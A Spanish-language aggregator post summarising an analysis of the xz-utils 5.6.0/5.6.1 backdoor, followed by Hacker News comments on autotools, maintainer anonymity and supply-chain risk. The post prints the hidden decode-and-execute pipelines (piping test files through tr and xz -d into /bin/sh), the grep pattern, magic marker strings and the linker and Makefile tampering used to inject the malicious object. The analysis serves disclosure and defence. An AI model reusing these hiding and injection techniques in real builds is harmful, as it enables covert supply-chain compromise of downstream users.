1 puntos por GN⁺ 2024-04-03 | 1 comentarios | Compartir por WhatsApp
  • El ataque de xz se divide en inyección de código shell en la etapa de configure e inyección de archivos objeto en la etapa de make, y este análisis sigue cómo el script de los tarballs distribuidos de xz 5.6.0 y 5.6.1 inserta un archivo objeto con backdoor en la compilación
  • El código malicioso y el archivo objeto estaban ocultos, comprimidos y cifrados como si fueran archivos binarios de entrada para pruebas dentro de tests/files, y la explicación previa del README de que eran “archivos de prueba hechos a mano” facilitó el disfraz
  • El código agregado a m4/build-to-host.m4 busca bad-3-corrupt_lzma2.xz, lo restaura con tr y xz -d, y luego lo ejecuta con /bin/sh; en 5.6.1 también se añadió un mecanismo de extensión que busca scripts adicionales en nuevos archivos de prueba
  • El script configure modifica src/liblzma/Makefile y libtool para volver a ejecutar el script oculto durante make, y ajusta banderas relacionadas con -z,now y PIC para que el resolver ifunc se ejecute en la etapa inicial del enlace dinámico
  • En la etapa de make, extrae y descifra el objeto malicioso desde good-large_compressed.lzma, luego sustituye los artefactos de compilación de crc64_fast.c y crc32_fast.c para interceptar llamadas a RSA_public_decrypt a través de _get_cpuid

Estructura completa del ataque

  • Andres Freund avisó sobre la existencia del ataque de xz en la lista pública oss-security@openwall el 2024-03-29
    • El día anterior también avisó a Debian security y a la lista privada distros@openwall
    • El detonante fue que observó síntomas anómalos relacionados con liblzma al instalar Debian sid, en concreto alto uso de CPU durante el inicio de sesión por SSH y errores de Valgrind
  • El ataque está compuesto, en grandes rasgos, por dos etapas
    • Se inyecta código shell durante configure
    • Ese código shell vuelve a inyectar código shell en make y durante make agrega un archivo objeto malicioso a la compilación
  • Si el archivo objeto malicioso se hubiera guardado directamente en el repositorio como evil.o, habría sido fácil sospechar, así que el atacante ocultó tanto el código shell como el archivo objeto comprimidos y cifrados dentro de archivos binarios de entrada para pruebas
  • El directorio tests/files existía desde antes de la llegada de Jia Tan, y el README explicaba que contenía archivos para probar las implementaciones de los decodificadores .xz, .lzma y .lz, y que algunos habían sido hechos a mano con un editor hexadecimal porque “no hay mejor código fuente que el propio archivo”
  • El atacante aprovechó ese contexto para hacer que pareciera que solo estaba agregando algunos archivos de prueba nuevos

Punto de ejecución al que apuntaba el backdoor

  • El efecto final del script es hacer que la función _get_cpuid del archivo objeto malicioso sea llamada como parte de un resolver GNU indirect function (ifunc)
  • Un resolver ifunc normalmente puede ser invocado de forma diferida durante la ejecución del programa, pero por seguridad es común llamarlos todos al inicio del enlace dinámico y mapear GOT y PLT como solo lectura
  • El resolver ifunc malicioso puede ejecutarse en esa fase inicial en la que GOT y PLT todavía son escribibles
  • El backdoor busca RSA_public_decrypt en la tabla y la reemplaza con la versión del atacante
  • La función sustituida ejecuta código del atacante cuando se presenta el certificado SSH correcto

Etapa de configure: camuflaje en build-to-host.m4

  • xz-utils usa GNU autoconf y, por lo general, configure y los archivos m4 de soporte se incluyen en la distribución tarball, no en el repositorio fuente
  • El ataque comienza agregando la biblioteca de soporte inesperada m4/build-to-host.m4 a los tarballs de xz 5.6.0 y xz 5.6.1
  • El build-to-host.m4 malicioso incluye cambios que parecen plausibles frente al archivo estándar
    • Sube el serial de 3 a 30
    • Cambia el año de copyright de 2023 a 2023-2024
    • Agrega algunos cambios difíciles de notar en shell y m4
  • El núcleo real es el código que busca en la distribución un patrón específico con grep -aErls "#{4}[[:alnum:]]{5}#{4}$" $srcdir/
    • El archivo que coincide con ese patrón es ./tests/files/bad-3-corrupt_lzma2.xz
    • Como resultado, gl_am_configmake termina apuntando a ese archivo de prueba
  • gl_path_map se define como tr "\t \-_" " \t_\-", intercambiando tabulaciones y espacios, así como guiones bajos y guiones medios

Restauración del primer script oculto

  • gl_[$1]_prefix extrae la parte posterior al último punto del nombre del archivo, por lo que queda como xz
    • Aunque el nombre parece indicar un prefijo, en realidad es la extensión del archivo
    • Termina siendo el nombre de un comando de compresión que probablemente ya está instalado en la máquina de compilación
  • La cadena de comando que se construye después parece usar sed "r\n", pero en realidad se parece más a un cat ofuscado
    • El r\n de sed es una orden para leer un archivo inexistente llamado \n, así que no ocurre nada
    • Como no se usa -n, la entrada se imprime tal cual
  • El comando que realmente se ejecuta tiene esta forma
cat ./tests/files/bad-3-corrupt_lzma2.xz | tr "\t \-_" " \t_\-" | xz -d
  • Ese comando se evalúa durante la ejecución de config.status mediante AC_CONFIG_COMMANDS
  • En la salida restaurada aparecen ####Hello#### y ####World####, y según el README, el primer y el tercer stream de bad-3-corrupt_lzma2.xz son streams xz válidos, mientras que solo el stream del medio tiene los datos LZMA2 dañados

Diferencias entre 5.6.0 y 5.6.1

  • En xz 5.6.0, el primer script restaurado recorta un rango específico de bytes desde good-large_compressed.lzma, lo transforma, lo descomprime como un stream LZMA raw y lo pasa a /bin/sh
  • El primer script de xz 5.6.1 incluye cinco veces una línea que intenta salir si no está en Linux
    • [ ! $(uname) = "Linux" ] && exit 0
    • Más adelante, dentro del script largo que se analiza, también hay una línea de verificación de Linux exclusiva de 5.6.1
    • Esa línea tiene un bug porque no hay espacios alrededor de = y por eso no funciona
  • En 5.6.1 cambian el número final de bytes de head, el offset de tail y los argumentos de tr respecto de 5.6.0
    • En el ejemplo, 5.6.1 extrae 16×2048+939 = 33,707 bytes
    • Después usa tail -c +31233 para quedarse con los últimos 31,233 bytes
  • El pipeline de extracción se compone de estas etapas
    • Descompresión de good-large_compressed.lzma con xz -dc
    • Extracción de un rango concreto de bytes con un pipeline de head
    • Selección de la parte final con tail
    • Aplicación de un cifrado de sustitución simple con tr
    • Descompresión del stream LZMA raw con xz -F raw --lzma1 -dc
    • Ejecución del resultado con /bin/sh

Mecanismo de extensión de 5.6.1

  • El script largo contiene varios puntos donde hace eval sobre variables que no están definidas
    • Por ejemplo: eval $zrKcVq, eval $zrKcSS
    • Puede que sean puntos de extensión para depuración o para que otro mecanismo futuro asigne valores
  • Si existe config.status, el script lee LD, CC, GCC, srcdir, build, enable_shared, enable_static, gl_path_map y otros valores
  • El código de extensión agregado en 5.6.1 busca dos cadenas mágicas en tests/files
    • Cadena de inicio: ~!:_ W
    • Cadena de fin: |_!{ -
  • Si ambas cadenas están en el mismo archivo, extrae los bytes intermedios y, tras pasar por tr y una descompresión LZMA2 raw, hace eval del resultado
  • Este mecanismo parece diseñado para insertar scripts nuevos dentro de otros archivos de prueba en el futuro, sin tener que justificar que se regeneraron de nuevo los archivos binarios de prueba existentes

Condiciones de ejecución en la etapa de configure

  • El script termina en silencio si no se cumplen las condiciones necesarias para el backdoor
  • Debe estar activado el soporte de GNU ifunc
    • En config.status debe existir ["HAVE_FUNC_ATTRIBUTE_IFUNC"]=" 1"
    • En config.h debe existir define HAVE_FUNC_ATTRIBUTE_IFUNC 1
  • La compilación de bibliotecas compartidas debe estar habilitada
    • enable_shared debe ser yes
  • El objetivo de compilación debe ser Linux x86-64
    • build debe cumplir las condiciones ^x86_64 y linux-gnu$
  • El código fuente relacionado con CRC ifunc debe seguir presente tal como se espera
    • crc64_fast.c
    • crc32_fast.c
    • crc_x86_clmul.h
  • También comprueba condiciones del compilador y del enlazador
    • GCC=yes
    • CC=gcc
    • La salida de LD -v debe incluir GNU ld
  • Deben existir los archivos de prueba que contienen el backdoor: good-large_compressed.lzma y bad-3-corrupt_lzma2.xz

Modificaciones en Makefile y libtool

  • Si existe debian/rules o si RPM_ARCH=x86_64, en la etapa de configure se ejecuta código que modifica src/liblzma/Makefile
  • Primero verifica que existan en el Makefile varias líneas que luego usará como puntos de inserción
    • ACLOCAL_M4 = $(top_srcdir)/aclocal.m4
    • am__uninstall_files_from_dir = {
    • am__install_max =
    • am__vpath_adj_setup =
    • am__include = include
    • all: all-recursive
    • LTLIBRARIES = $(lib_LTLIBRARIES)
    • AM_V_CCLD = $(am__v_CCLD_$(V))
  • En libtool verifica que exista pic_flag=" -fPIC -DPIC"
  • Luego usa sed -i para dispersar por distintas partes del Makefile líneas de la siguiente naturaleza
    • am__test = bad-3-corrupt_lzma2.xz
    • am__strip_prefix = tr ...
    • am__dist_setup = ... | xz -d ... | $(SHELL)
    • am__test_dir = $(top_srcdir)/tests/files/$(am__test)
  • am__test_dir parece por nombre un directorio, pero en realidad apunta a un archivo
  • Las líneas agregadas no se concentran en un solo lugar, sino que se insertan en distintos puntos del Makefile para que el archivo generado parezca complejamente normal

Banderas del enlazador y reejecución recursiva

  • El script de la etapa de configure agrega -Wl,--sort-section=name,-X a liblzma_la_LDFLAGS
  • Si en LDFLAGS no existe -z,now ni -z -Wl,now, también agrega -z,now
  • -Wl,now hace que el cargador dinámico resuelva todos los símbolos al inicio del programa, forzando el comportamiento de LD_BIND_NOW
    • En ese proceso el resolver ifunc se ejecuta al arranque
    • El backdoor puede correr cuando GOT y PLT todavía son escribibles
  • La bandera PIC de libtool se cambia así
    • Antes: -fPIC -DPIC
    • Después: -fPIC -DPIC -fno-lto -ffunction-sections -fdata-sections
  • El script también agrega al Makefile AM_V_CCLD y un fragmento largo de shell
    • Al final ejecuta sed rpath $(am__test_dir) | $(am__dist_setup)
    • sed rpath también hace el papel de un cat ofuscado
  • Como resultado, durante make vuelve a ejecutarse este pipeline
cat ./tests/files/bad-3-corrupt_lzma2.xz |
tr "\t \-_" " \t_\-" |
xz -d |
/bin/sh

Etapa de make: extracción del archivo objeto

  • En la etapa de make, el script vuelve a ejecutarse dentro del directorio src/liblzma
  • Como config.status no está en el directorio actual, se omite la parte de edición del Makefile propia de la etapa de configure
  • En cambio, si existen .libs/liblzma_la-crc64_fast.o y .libs/liblzma_la-crc32_fast.o, asume que está en medio de make y ejecuta el siguiente código
  • En 5.6.1 también se añadió un hook de extensión para la etapa de make
    • Cadena de inicio: jV!.^%
    • Cadena de fin: %.R.1Z
    • No existe ningún archivo de prueba que contenga esas cadenas, y parece una estructura para futuras extensiones
  • Vuelve a comprobar que el código fuente relacionado con CRC ifunc sea el esperado
  • También verifica que se hayan aplicado las banderas de compilación y enlazado añadidas en la etapa de configure
    • ../../libtool debe contener las banderas PIC adicionales
    • liblzma_la_LINK debe incluir -z,now o -z -Wl,now
    • Si aparece lazy, termina

Descifrado y selección del objeto malicioso

  • Según el contenido de gettext.m4, el script elige uno de dos valores de offset
    • Como el gettext.m4 del tarball distribuido de xz no contiene la cadena de comprobación, en la compilación de ejemplo toma la entrada completa
  • Vuelve a descomprimir good-large_compressed.lzma y extrae 33,707 bytes con el pipeline de head llamado i, definido antes
  • Divide esa salida por bytes y ejecuta con awk una función de descifrado similar a RC4
    • En la versión 5.6.1, el segundo bucle itera hasta 8192
    • En la versión 5.6.0, el bucle equivalente en la misma posición itera hasta 4096
  • La salida descifrada se vuelve a descomprimir con xz -dc --single-stream
    • --single-stream hace que se detenga en el primer marcador EOF de xz, para no leer la sección que antes se había extraído con tail
  • El resultado final se escribe en liblzma_la-crc64-fast.o

Sustitución de los objetos CRC

  • El script hace una copia de respaldo del artefacto real de compilación .libs/liblzma_la-crc64_fast.o con un nombre parecido: .libs/liblzma_la-crc64-fast.o
    • Aprovecha la diferencia entre guion bajo (crc64_fast) y guion medio (crc64-fast)
  • Luego compila una versión modificada mediante sed de crc64_fast.c y la usa, junto con el objeto malicioso extraído liblzma_la-crc64-fast.o, como entrada para sobrescribir .libs/liblzma_la-crc64_fast.o
  • El código C insertado crea una nueva función _is_arch_extension_supported que internamente llama a _get_cpuid
  • El crc64_resolve existente se modifica para llamar a _is_arch_extension_supported() en vez de is_arch_extension_supported()
  • _get_cpuid es una función provista por el archivo objeto con backdoor y, antes de devolver la información de cpuid, ejecuta acciones adicionales
    • En particular, modifica GOT y PLT para interceptar llamadas a RSA_public_decrypt

Manejo del lado de crc32 y limpieza

  • Si la modificación de crc64 tiene éxito, el script aplica una modificación similar a crc32_fast.c
  • En el lado de crc32 no agrega el archivo objeto con backdoor
    • Para no insertar dos veces el objeto malicioso en la compilación
  • No está claro por qué intercepta tanto el ifunc de crc32 como el de crc64
    • El análisis considera que con uno solo parecería suficiente
    • Puede que buscara que en el depurador ambos códigos de despacho se vieran parecidos
  • Si ambas compilaciones tienen éxito, vuelve a enlazar el archivo .la con liblzma_la_LINK
  • Si el enlazado tiene éxito pero no existe .libs/liblzma.so, lo considera un fallo y restaura el respaldo
  • Tanto si tiene éxito como si no, elimina .libs/liblzma.a, .libs/liblzma.la, .libs/liblzma.lai, .libs/liblzma.so*
    • Da por hecho que la etapa normal de enlazado del Makefile los volverá a generar después
  • En la ruta de fallo, devuelve los objetos respaldados de crc32 y crc64 a sus nombres originales
  • Al final elimina archivos temporales y de respaldo, actuando de forma que inyecta el objeto malicioso en los artefactos de make sin dejar rastros

1 comentarios

 
GN⁺ 2024-04-03
Opiniones en Hacker News
  • Como alguien que lleva mucho tiempo detestando autotools, me gustaría decir que esto justifica mi postura, pero cualquier sistema de build lo bastante complejo como para admitir múltiples plataformas inevitablemente puede volverse lo suficientemente inescrutable como para que alguien meta algo así
    Aun así, es realmente un problema que tanto software se construya con enormes scripts de shell estilo cargo cult que prácticamente nadie entiende por completo

    • Creo que la causa de fondo es el uso común de bash y de lenguajes con sintaxis compleja y densa
      Si los scripts de build estuvieran escritos en Python, habría sido mucho más difícil ofuscar el backdoor. A todo el mundo le habría parecido código raro. Con el código bash, aunque no se pueda leer, se tiende a asumir que es normal
    • Entiendo las críticas a autotools, y nunca envidié a quienes mantenían scripts de configuración, pero como usuario extraño la época en la que instalar casi cualquier software se resolvía con ./configure && make && make install
    • autotools debería desaparecer, pero la mayoría de los casos de uso que generan la complejidad de los sistemas de build se reducen a gestión y detección de dependencias
      La raíz de la complejidad es la ausencia total de buenas prácticas para ese flujo, así que bajo estas condiciones no se puede resolver con un único archivo de configuración de build como mybuild.toml
    • Estoy de acuerdo; al final, intentar soportar una gama tan amplia de plataformas exige sistemas complejos, y eso nos obliga a preguntarnos cuánto riesgo estamos asumiendo
      Y también me pregunto por qué se volvió necesario un sistema complejo para construir algo como una biblioteca de compresión, que en esencia solo debería hacer matemáticas y asignación de memoria
    • Pienso lo mismo. La tentación de culpar a m4 de todo esto es grande, pero eso es más bien el trauma hablando
  • Como desarrollador, esto es asombroso, y demuestra que lo que a mis ojos parece un método de ataque de primer nivel probablemente sea de dificultad baja o media para quienes trabajan en este nivel
    En HN aparecen cosas de un nivel mucho más alto que esto, así que creo que, si hay suficiente dinero u otros incentivos, esto es apenas el comienzo de lo posible. Pensando en la enorme cantidad de paquetes en GitHub y en millones de bibliotecas, este vector es demasiado efectivo, y estoy seguro de que en los próximos meses saldrán a la luz cientos de casos similares
    Me preocupan los fabricantes de hardware de consumo y prosumer, desde Philips Hue hasta Alexa, SumUp, fabricantes de cámaras, Netgear y TP-Link. Sus productos están llenos de bibliotecas open source, y estoy 100% seguro de que la mayoría de los equipos de desarrollo no dedica tiempo a buscar estos vectores de inyección sigilosos

    • Me cuesta entender el argumento de que “la mayoría de los equipos de desarrollo no dedica tiempo a buscar estos vectores de inyección sigilosos”; suena a que quienes culpan al infierno de dependencias quieren usar este escenario para hacer quedar peor a los mantenedores de open source
      Una organización comercial que presume confiabilidad hace análisis de cadena de suministro antes de adoptar dependencias. Por eso normalmente paga a Red Hat para mantener una distribución Linux estable, y por eso proyectos como FreeBSD restringen mucho el software que incluyen en la instalación base
      Si esto te afectó, es lamentable, pero es tu responsabilidad. Si te preocupa que el desarrollador del software que usas gratis, como cerveza gratis, cambie de actitud, tienes que darle incentivos para no hacerlo —es decir, pagarle—, o hacer un fork del proyecto y añadir tus propias medidas de seguridad
      Si te preocupa que haya un ataque a la cadena de suministro en dependencias de software comercial, deberías negociar un contrato que incluya compensación por esos daños. Si no tienes voluntad de hacerlo, no estás actuando de forma profesional
      Y, para que quede claro, hablo en serio de que incluso las dependencias más básicas, como SSH, deberían pasar por una revisión de cadena de suministro
    • Es más bien lo contrario. Desarrolladores y mantenedores que saben más que nosotros describieron este incidente como un ataque altamente sofisticado
      Los primeros artículos de seguridad informática solo pudieron explicar partes del código y no llegaron a cubrir la estrategia completa del ataque. Fue porque tanto el ataque como el código eran sofisticados. Que los análisis iniciales explicaran el ataque de formas distintas también se debió a que no era sencillo de entender, y solo más tarde aparecieron textos del tipo “por fin parece ser un ataque de ejecución remota de código”
      Ahora que incluso hay scanners para detectar la vulnerabilidad en servidores, todos pueden decir “ah, ese ataque era demasiado simple y tonto; ¿por qué no lo encontramos antes?”
    • Por eso no veo como una ventaja que TP-Link base el firmware de sus routers en OpenWRT. En mis dispositivos quiero que corra el proyecto upstream puro o algo que, por diseño, siga al upstream
      Lo mismo aplica a todos los dispositivos. Tampoco me gusta que Android tenga que usar kernels antiguos, ni me gustaba que macOS ejecutara una rama vieja de Darwin/BSD. Me preocupa el esfuerzo necesario para hacer backports
      Por supuesto, eso no significa que el open source no tenga vulnerabilidades
    • Cualquier organización más o menos bien gestionada tiene un mecanismo para recibir actualizaciones cuando aparece un problema de seguridad en sus dependencias. Según el sector, incluso lo exigen reguladores u organismos de certificación como PCI
      Tal vez deberíamos temer más a los backdoors invisibles dentro de software propietario, que casi nunca se descubrirían
  • Creo que la infografía de Thomas Roccia todavía no se mencionó aquí: https://twitter.com/fr0gger_/status/1774342248437813525

    • En gran parte se siente como conectar pistas a la fuerza sin mucho fundamento
      Por ejemplo, oss-fuzz estaba clonando directamente el repositorio de GitHub para compilar xz. El backdoor no estaba en el repositorio, sino solo en el tarball, así que no había posibilidad de que oss-fuzz lo descubriera. Por lo tanto, ese PR de oss-fuzz bien podría haber sido un cambio real no relacionado con el backdoor
    • Jia Tan pidió a las distribuciones una actualización rápida justo antes de que se hiciera público
      ¿Qué tan probable es que hubiera otra cuenta o persona alrededor de Andreas Freund que se enterara antes de que el backdoor iba a hacerse público? Todavía me hace pensar que podría haber otros insiders alrededor
    • Este material solo muestra parcialmente, a alto nivel, el proceso por el que el exploit se introduce en liblzma; no explica en absoluto cómo funciona el exploit ni qué contiene
    • Según la línea de tiempo, el ataque empezó agregando elementos ignorados al archivo .gitignore. Hoy en día es difícil detectar ese tipo de cosas
  • Desde la perspectiva de un observador ingenuo, lo que más llama la atención es esto:
    “Como muchos archivos fueron creados manualmente con un editor hexadecimal, no hay un ‘código fuente’ mejor que el propio archivo.” Entiendo que en bibliotecas de parsing como liblzma eso puede pasar. Para el atacante, quizá solo parecía que estaba agregando algunos archivos de prueba nuevos.
    El archivo en sí da miedo, pero entiendo la razón. Aun así, ¿no se podría al menos separarlo del build?
    “Normalmente, los scripts configure y las bibliotecas de soporte se agregan solo a las distribuciones en tarball, no al repositorio de código fuente. La distribución de xz también funciona así.”
    Dejando de lado la indignación ritual contra autotools, no entiendo por qué los archivos de prueba tienen que estar en el tarball. Una prueba maliciosa también podría infectar la máquina de un desarrollador, pero si el tarball está pensado para compilar el artefacto final, ¿no debería haber una política de incluir solo lo necesario? Más aún si los archivos de prueba son bloques binarios imposibles de auditar.

    • Es bastante común ejecutar pruebas en CI después del build para confirmar que no haya problemas en un entorno específico.
      Aunque la última vez que hicimos eso preferimos el Git upstream y generamos nosotros mismos los artefactos necesarios de autoconf. La idea de un tarball de release con contenido que no está en Git nunca me gustó.
    • Aunque incluyan cierta cantidad de código generado por autoconf, siguen siendo tarballs de código fuente.
      Debe ser posible compilar el código en la máquina destino y luego ejecutar las pruebas.
    • Además de verificar que el programa compilado en el destino funcione correctamente, si se quiere compilar con optimización basada en perfiles, se necesitan pruebas porque hacen falta ejemplos de ejecución para optimizar.
  • “La primera diferencia es que el script se asegura de salir, sí o sí, con absoluta certeza, si no se ejecuta en Linux.”
    Las verificaciones repetidas ciertamente son un misterio. Mi hipótesis es que el atacante pudo haber agregado la repetición para que pareciera verosímil, como una entrada de prueba para una biblioteca de compresión.

    • Podría ser para reservar espacio para cambios en el script. Porque se pueden sobrescribir los bytes del inicio del script.
      O quizá simplemente fue pereza.
    • A mí también me pareció raro. Al principio del script también hay bytes aleatorios distintos, y no son texto sino bytes aleatorios reales. Sin embargo, como tienen un signo de numeral delante, quedan comentados y no afectan al script.
      Parece intencional, pero no sé por qué están ahí. Pensé que tal vez los agregaron para rellenar tamaño porque xz omite la compresión si la entrada es demasiado corta o poco compleja, pero aun quitándolos y volviendo a comprimir con xz, se comprimía correctamente y el texto plano original no quedaba dentro de los bytes del archivo comprimido.
      Algo que descubrí al intentar reproducir los bytes exactos del archivo .xz commiteado en Git es que el stream xz de ese script no parece haber sido comprimido con el preset predeterminado de xz. Tuve que usar xz --lzma2=dict=65536 -c stream_2 para reproducirlo, y todos los presets numéricos predeterminados elegían un tamaño de diccionario distinto. Esto también parece intencional, pero no entendí la razón.
    • ¿No podría ser para agrandar u ofuscar parte del archivo de prueba comprimido?
      Sin la repetición, quizá dentro del archivo comprimido habría aparecido algún binario extraño que disparara herramientas de seguridad o antivirus.
    • ¿De verdad es un misterio? El atacante probablemente tenía en mente un objetivo Linux x86, y no está garantizado que el soporte de IFUNC funcione en otras plataformas.
    • Si se ejecutaba en un sistema que no fuera Linux, quizá podía fallar o dejar rastros por diferencias del sistema operativo y así ser descubierto.
  • Es trágicamente gracioso que la tecnología moderna se haya vuelto endemoniadamente compleja e innecesariamente incomprensible, y cada vez empeora más. Parece que los desarrolladores disfrutan sádicamente de eso.

    • Esta probablemente sea la peor interpretación.
      Es bastante impresionante que las herramientas vayan siguiendo el aumento de complejidad de los productos que construimos. Sinceramente, en la mayoría de los casos simplemente se están volviendo más simples, y creo que se trata más bien de que a la gente no le gusta aprender cosas nuevas.
  • Quien haya contratado a estas personas para infiltrarse en este proyecto debió haber invertido muchísimo tiempo en hacer que evitara la detección durante mucho tiempo. Por suerte, era tan complejo que no alcanzaron a considerar todos los factores
    Por eso creo que, en términos de seguridad, el open source siempre será mejor que el software de código cerrado. Claro que este incidente expuso una enorme falla en la cadena de suministro, y también mostró lo subestimados que están los componentes base de FOSS y lo vulnerables que son sus mantenedores a la manipulación
    Pero ¿y si el mismo ataque hubiera ocurrido dentro de una empresa privada? Es probable que ni siquiera hubiera hecho falta una ofuscación avanzada. Con un PR lo bastante grande y una fecha límite cercana, se podría colar algo así en sistemas en producción con un esfuerzo mínimo. Para cuando la empresa se diera cuenta de lo ocurrido, la persona ya estaría volando a un país sin tratado de extradición, vendiendo los datos filtrados en Tor o en la dark web

    • Creo que aquí hay sesgo de supervivencia. ¿Cómo sabemos cuántos intentos similares han tenido éxito? ¿Cuántos de los que se descubrieron se descartaron como simples errores? Por ejemplo, ¿cómo podemos estar seguros de que Heartbleed no fue introducido deliberadamente por alguien, y de que esa persona no se hizo tremendamente rica con eso?
      Si te contrata una empresa privada, la empresa sabe quién eres. Eso por sí solo es un disuasivo inmediato contra hacer cosas sospechosas. En GitHub nadie sabe quién eres. Puede que sea más difícil meter una puerta trasera en un proyecto sin que te descubran, pero si te descubren no asumes ningún riesgo. Puedes seguir intentándolo tantas veces como quieras. Jia Tan sigue sin ser capturado, y ni siquiera tuvo que diseñar toda su vida para vivir en un país sin tratado de extradición. A menos que ya estuviera en uno
    • Me cuesta estar de acuerdo. La mayoría de las empresas privadas exigirán una reunión presencial al contratar. Incluso si es totalmente remoto, existe la expectativa de que en algún momento conozcas a tus colegas en persona, y normalmente eso ocurriría antes de hacer commits significativos. Si la empresa vale la pena como objetivo de infiltración, casi con seguridad pedirá una verificación de antecedentes
      Y aun después de entrar, no puedes hacer commits al proyecto objetivo como se te antoje. Tu gerente y el gerente de tu gerente tienen otras prioridades. La gestión, frecuentemente disfuncional, de las empresas con fines de lucro funciona aquí más bien como un disuasivo. No solo tienes que justificar el código en sí, sino también explicar por qué estabas trabajando en eso desde el principio
    • Un poco fuera de tema, pero hoy, desde la perspectiva de EE. UU., ¿cuántos países sin tratado de extradición hay realmente?
      Incluso países con relaciones tensas pueden extraditar si resulta políticamente conveniente como parte de una negociación. Es probable que Rusia no hubiera retenido a Snowden si no hubiera revelado secretos de Estado. Si hubiera sido solo una filtración de datos común, quizá lo habrían intercambiado por algún oligarca detenido en otro lugar por lavado de dinero
    • Podría ser interesante como proyecto de clase investigar proyectos pequeños, aparentemente bastante inofensivos, pero usados casi en todas partes, para ver si podrían ser tratados de la misma manera o si ya ocurrió algo parecido
      Solo armar la lista ya sería útil
  • La lección de este incidente es que quizá no deberíamos permitir anonimato a los colaboradores clave de proyectos open source importantes. Este ataque tuvo éxito y el atacante probablemente se saldrá con la suya sin pagar ningún precio, precisamente porque era anónimo

    • No estoy de acuerdo
      Una medida así no ayudaría, y para un actor estatal o una amenaza persistente avanzada similar sería fácil eludirla agregando una suplantación de identidad más a la fase de ataque, o usando un agente al que puedan proteger incluso si se descubre la puerta trasera
      En cambio, las barreras técnicas requeridas por ese tipo de procedimiento probablemente dañarían mucho a toda la comunidad open source
      La solución aquí es aprender de este ataque y cambiar las prácticas para dificultar ataques similares. Los archivos que no están en el repositorio nunca deberían incluirse en un tarball de release. Todo el código generado resultante debe estar registrado, y los scripts de build deben regenerar el código derivado y fallar si difiere del código registrado. Los datos difíciles de entender no deberían ser accesibles durante el proceso de build de release, y las pruebas que dependen de datos binarios deben compilarse completamente separadas de los binarios de release
    • Hay dos problemas
      Primero, muchos colaboradores importantes, especialmente en seguridad, prefieren trabajar con seudónimo por razones válidas. Si los obligas a revelar su identidad, los vas a alejar
      Segundo, si detrás está una agencia de inteligencia, como muchos sospechan, de todos modos esa agencia puede fabricar una identidad “real”. Al final terminarías excluyendo a quienes sí ayudan, sin excluir a los atacantes
    • No solo es imposible de aplicar, sino que quizá ni siquiera sea una buena idea. Si se conoce la identidad de los mantenedores de proyectos open source importantes, resulta más fácil presionarlos
    • Si esto es un actor estatal, como realmente parece, ¿qué verificación se podría hacer? Podrían fabricar documentos legítimos de cualquier tipo: licencia de conducir, número de seguridad social, documento nacional de identidad, pasaporte, etc.
      Si un gobierno está involucrado, no hay límites. La única forma sería exigir presencia física en un lugar confiable, esperando que ese lugar no esté bajo la jurisdicción del atacante
    • ¿Qué y quién define qué es un proyecto importante?
      Si alguien crea una biblioteca y otros empiezan a usarla, ¿se le obliga a revelar su identidad? ¿El mantenedor recibe pago?
  • Si has trabajado en desarrollo, sea cerrado o abierto, sabes que los desarrolladores aprueban PR de forma medio perezosa. Linus Torvalds es más bien una rara excepción que pasa el día señalando problemas

    • Estoy de acuerdo
      Si alguien es lo bastante exigente como para preocuparse de verdad por revisar con cuidado, esa persona suele ser vista como una molestia que frena el desarrollo. Se generan tensiones con el equipo porque parece que busca defectos
      Para ser transparente, ahora estoy en una situación parecida. Yo no soy el exigente; lo es uno de los desarrolladores que contraté. Lamentablemente, su forma meticulosa de actuar no fue bien recibida, así que tuve que sacarlo del equipo. Tampoco ayudó que sea de Europa del Este y tienda a dar feedback de forma muy directa
  • Las utilidades de Unix han sido probadas durante mucho tiempo. Me gustaría que fijaran el kernel y las utilidades principales, y no las cambiaran, salvo que fuera realmente necesario
    Si no está roto, no lo arregles. El imperio del software parece fuera de control

    • Todo está roto. Es el resultado acumulado de 50 años y un millón de desarrolladores sumando hacks rápidos para hacer que algo funcione más o menos hoy
      De vez en cuando hay ejemplos brillantes de algo bien hecho, pero en general creo que es justo decir que esas cosas fueron completamente desplazadas